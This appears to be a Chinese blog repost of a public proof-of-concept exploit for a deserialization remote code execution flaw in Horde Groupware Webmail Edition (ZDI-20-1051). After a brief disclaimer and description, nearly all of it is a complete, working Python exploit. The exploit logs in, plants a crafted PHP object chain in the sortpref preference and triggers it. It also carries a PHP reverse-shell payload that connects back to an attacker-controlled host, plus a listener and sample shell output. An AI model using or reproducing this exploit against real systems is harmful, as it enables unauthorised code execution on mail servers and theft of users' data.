zoukankan      html  css  js  c++  java
  • HordeGroupwareWebmailEdition 远程命令执行

    请遵守网络安全法!!!本文仅供学习交流使用!用于任何非授权渗透、非法目的攻击、从事非法活动均与笔者无关!读者自行承担其恶果!

    漏洞简介

    此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。具体缺陷存在于Sort.php中。解析sortpref参数时,该过程无法正确验证用户提供的数据,这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。

    利用过程

    ./poc.py 172.16.175.148/horde/ hordeuser:pass123 172.16.175.145
    (+) targeting http://172.16.175.145/horde/
    (+) obtained session iefankvohbl8og0mtaadm3efb6
    (+) inserted our php object
    (+) triggering deserialization...
    (+) starting handler on port 1337
    (+) connection from 172.16.175.145
    (+) pop thy shell!
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    pwd
    /var/www/horde/services
    

    来源

    https://srcincite.io/pocs/zdi-20-1051.py.txt
    

    POC

    #!/usr/bin/env python3
    """
    Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
    
    Identifiers: ZDI-CAN-10436 / ZDI-20-1051
    Found by ..: mr_me
    Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
    
    Summary:
    ========
    
    It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
    
    Example:
    ========
    
    saturn:~ mr_me$ ./poc.py 
    (+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
    (+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
    
    saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
    (+) targeting http://172.16.175.145/horde/
    (+) obtained session iefankvohbl8og0mtaadm3efb6
    (+) inserted our php object
    (+) triggering deserialization...
    (+) starting handler on port 1337
    (+) connection from 172.16.175.145
    (+) pop thy shell!
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    pwd
    /var/www/horde/services
    uname -a
    Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
    exit
    *** Connection closed by remote host ***
    (+) repaired the target!
    """
    
    
    import re
    import sys
    import socket
    import requests
    import telnetlib
    import base64
    from threading import Thread
    
    def rs(cbh, cbp):
        return """@error_reporting(-1);
    @set_time_limit(0); 
    @ignore_user_abort(1);
    $dis=@ini_get('disable_functions');
    if(!empty($dis)){
        $dis=preg_replace('/[, ]+/', ',', $dis);
        $dis=explode(',', $dis);
        $dis=array_map('trim', $dis);
    }else{
        $dis=array();
    }
    $ipaddr='%s';
    $port=%d;
    function PtdSlhY($c){
        global $dis; 
        if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
            $c=$c." 2>&1\n";
        }
        ob_start();
        system($c);
        $o=ob_get_contents();
        ob_end_clean();
        if (strlen($o) === 0){
            $o = "NULL";
        }
        return $o;
    }
    $nofuncs='no exec functions';
    $s=@fsockopen("tcp://$ipaddr",$port);
    while($c=fread($s,2048)){
        $out = '';
        if(substr($c,0,3) == 'cd '){
            chdir(substr($c,3,-1));
        }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
            break;
        }else{
            $out=PtdSlhY(substr($c,0,-1));
            if($out===false){
                fwrite($s, $nofuncs);
                break;
            }
        }
        fwrite($s,$out);
    }
    fclose($s);""" % (cbh, cbp)
    
    def get_session(t, p, usr, pwd):
        uri = "http://%s%slogin.php" % (t, p)
        p = {
            "login_post" : 1337,
            "horde_user" : usr,
            "horde_pass" : pwd
        }
        r = requests.post(uri, data=p, allow_redirects=False)
        match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
        assert len(match) == 2, "(-) failed to login"
        return match[1]
    
    def trigger_deserialization(t, p, s, host, port):
        """ Object instantiation to reach the deserialization """
        handlerthr = Thread(target=handler, args=(port,))
        handlerthr.start()
        uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
        p = {
            "imple" : "IMP_Prefs_Sort",
            "app" : "imp",
        }
        h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
        c = { "Horde" : s }
        r = requests.get(uri, params=p, cookies=c, headers=h)
        match = re.search("horde_logout_token=(.*)&", r.text)
        assert match, "(-) failed to leak the horde_logout_token!"
        p['token'] = match.group(1)
        r = requests.get(uri, params=p, cookies=c, headers=h)
        assert r.status_code == 200, "(-) failed to trigger deserialization!"
    
    def get_pop():
        """ An updated pop chain """
        pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
        pop += 'S:43:"\00Horde_Kolab_Server_Decorator_Clean\00_server";O:20:"Horde_Prefs_Identity":3:{'
        pop += 'S:9:"\00*\00_prefs";O:11:"Horde_Prefs":2:{'
        pop += 'S:8:"\00*\00_opts";a:1:{'
        pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
        pop += 'S:13:"\00*\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
        pop += '}i:1;s:13:"readXMLConfig";}}'
        pop += 'S:10:"\00*\00_scopes";a:1:{'
        pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
        pop += 'S:13:"\00*\00_prefnames";a:1:{s:10:"identities";i:0;}'
        pop += 'S:14:"\00*\00_identities";a:1:{i:0;i:0;}}'             # additional checks
        pop += 'S:42:"\00Horde_Kolab_Server_Decorator_Clean\00_added";a:1:{i:0;i:0;}}'
        return pop
    
    def get_patch():
        """ Our original array """
        patch  = 'a:1:{'
        patch += 's:5:"INBOX";a:1:{'
        patch += 's:1:"b";i:6;'
        patch += '}}'
        return patch
    
    def set_pref(t, p, s, k, o):
        """ A primitive that inserts a string into the database """
        uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
        p = {
            "pref" : k,
            "value" : o,
        }
        c = { "Horde" : s }
        r = requests.get(uri, params=p, cookies=c)
        match = re.search("horde_logout_token=(.*)&", r.text)
        assert match, "(-) failed to leak the horde_logout_token!"
        p['token'] = match.group(1)
        r = requests.get(uri, params=p, cookies=c)
        assert (""response":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
    
    def handler(lport):
        print("(+) starting handler on port %d" % lport)
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", lport))
        s.listen(1)
        conn, addr = s.accept()
        print("(+) connection from %s" % addr[0])
        t.sock = conn
        print("(+) pop thy shell!")
        t.interact()
    
    def fix_path(p):
        if p == "/":
            return p
        if not p.startswith("/"):
            p = "/%s" % p
        if not p.endswith("/"):
            p = "%s/" % p
        return p
    
    def main():
        if len(sys.argv) < 5:
            print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
            print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
            sys.exit(0)
        target = sys.argv[1]
        path   = fix_path(sys.argv[2])
        user   = sys.argv[3].split(":")[0]
        pswd   = sys.argv[3].split(":")[1]
        host   = sys.argv[4].split(":")[0]
        port   = int(sys.argv[4].split(":")[1])
        print("(+) targeting http://%s%s" % (target, path))
        session = get_session(target, path, user, pswd)
        print("(+) obtained session %s" % session)
        set_pref(target, path, session, 'sortpref', get_pop())
        print("(+) inserted our php object")
        print("(+) triggering deserialization...")
        trigger_deserialization(target, path, session, host, port)
        set_pref(target, path, session, 'sortpref', get_patch())
        print("(+) repaired the target!")
    
    if __name__ == "__main__":
        main()
    
  • 相关阅读:
    CentOS 7中搭建NFS文件共享存储服务的完整步骤
    centos 7中磁盘挂载重启后挂载失效
    smbclient 未找到命令
    Windows共享文件夹无法访问,提示“不允许一个用户使用一个以上用户名与服务器或共享资源的多重连接”
    CentOS 7下Samba服务器的安装与配置
    Systemd 指令
    centos7安装samba快速入门
    springboot2.0集成RestTemplate
    unknown directive “stream” in /usr/local/nginx
    Nginx——stream模块
  • 原文地址:https://www.cnblogs.com/Yang34/p/13665646.html
Copyright © 2011-2022 走看看